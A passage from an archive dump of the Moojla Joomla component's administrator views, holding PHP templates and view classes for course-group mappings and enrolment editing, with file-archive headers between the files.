/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen',
'.multipleCoursegroupmapsfilterrole', null,
array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_ROLE') . ' -'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=course_group_maps.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable',
'course_group_mapList', 'adminForm',
strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=course_group_maps');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="course_group_mapList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_COURSE_GROUP_MAPS_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/course_group_maps/tmpl/default_batch_body.php000064400000002344151165724410016735
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo
JText::_('COM_MOOJLA_COURSE_GROUP_MAPS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/course_group_maps/tmpl/default_batch_footer.php000064400000002742151165724410017300
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('course_group_map.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/course_group_maps/tmpl/default_body.php000064400000007475151165724410015606
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=course_group_maps&task=course_group_map.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('course_group_map',$item,'course_group_maps');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->moojlacourse_fullname); ?>
</td>
<td class="hidden-phone">
<div>
<?php echo $this->escape($item->course_group_title);
?></br><?=
$this->getModel()->group_users($item->course_group)?>
</br><?=
$this->getModel()->group_courses($item->course_group,
$item->moojlacourse)?>
<!-- [1313]=> Custom Course Group -->
</div>
</td>
<td class="hidden-phone">
<?php echo JText::_($item->role); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_group_maps.', true,
'cb'); ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_group_maps.', false,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_group_maps.', true,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'course_group_maps.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/course_group_maps/tmpl/default_foot.php000064400000002304151165724410015602
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/course_group_maps/tmpl/default_head.php000064400000005313151165724410015537
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_LABEL',
'g.fullname', $this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_COURSE_GROUP_LABEL',
'h.title', $this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL', 'a.role',
$this->listDirn, $this->listOrder); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_COURSE_GROUP_MAP_STATUS');
?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_GROUP_MAP_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
</th>
</tr>views/course_group_maps/tmpl/default_toolbar.php000064400000007064151165724410016305
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Course_group_maps'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/course_group_maps/tmpl/index.html000064400000000054151165724410014413
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_group_maps/view.html.php000064400000020256151165724410014076
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Course_group_maps
*/
class MoojlaViewCourse_group_maps extends JViewLegacy
{
/**
* Course_group_maps view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('course_group_maps');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('course_group_map');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_COURSE_GROUP_MAPS'),
'grid-2');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=course_group_maps');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('course_group_map.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('course_group_map.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('course_group_maps.publish');
JToolBarHelper::unpublishList('course_group_maps.unpublish');
JToolBarHelper::archiveList('course_group_maps.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('course_group_maps.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('',
'course_group_maps.delete', 'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('course_group_maps.trash');
}
}
if
($this->user->authorise('course_group_map.migrate_from_joomdle',
'com_moojla'))
{
// add Migrate from Joomdle button.
JToolBarHelper::custom('course_group_maps.migrateFromJoomdle',
'database custom-button-migratefromjoomdle', '',
'COM_MOOJLA_MIGRATE_FROM_JOOMDLE', false);
}
if ($this->user->authorise('course_group_map.fetch',
'com_moojla'))
{
// add fetch button.
JToolBarHelper::custom('course_group_maps.fetch', 'joomla
custom-button-fetch', '', 'COM_MOOJLA_FETCH',
false);
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('course_group_maps');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load Role batch if create, edit, and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Role Selection
$this->roleOptions =
JFormHelper::loadFieldType('coursegroupmapsfilterrole')->options;
// We do some sanitation for Role filter
if (MoojlaHelper::checkArray($this->roleOptions) &&
isset($this->roleOptions[0]->value) &&
!MoojlaHelper::checkString($this->roleOptions[0]->value))
{
unset($this->roleOptions[0]);
}
// Role Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL').'
-',
'batch[role]',
JHtml::_('select.options', $this->roleOptions,
'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_COURSE_GROUP_MAPS'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course_group_maps.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'g.fullname' =>
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_LABEL'),
'h.title' =>
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_COURSE_GROUP_LABEL'),
'a.role' =>
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/enrolment/submitbutton.js000064400000002746151165724410013020
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('enrolment, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/enrolment/tmpl/edit.php000064400000011335151165724410012327
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'enrolmentTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'enrolmentTab', 'details',
JText::_('COM_MOOJLA_ENROLMENT_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('enrolment.details_left',
$this); ?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('enrolment.details_right', $this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'enrolmentTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'enrolmentTab', 'publishing',
JText::_('COM_MOOJLA_ENROLMENT_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('enrolment.publishing',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('enrolment.publlshing',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'enrolmentTab', 'permissions',
JText::_('COM_MOOJLA_ENROLMENT_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="enrolment.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/enrolment/tmpl/index.html000064400000000054151165724410012662
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/enrolment/view.html.php000064400000015275151165724410012352
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Enrolment View class
*/
class MoojlaViewEnrolment extends JViewLegacy
{
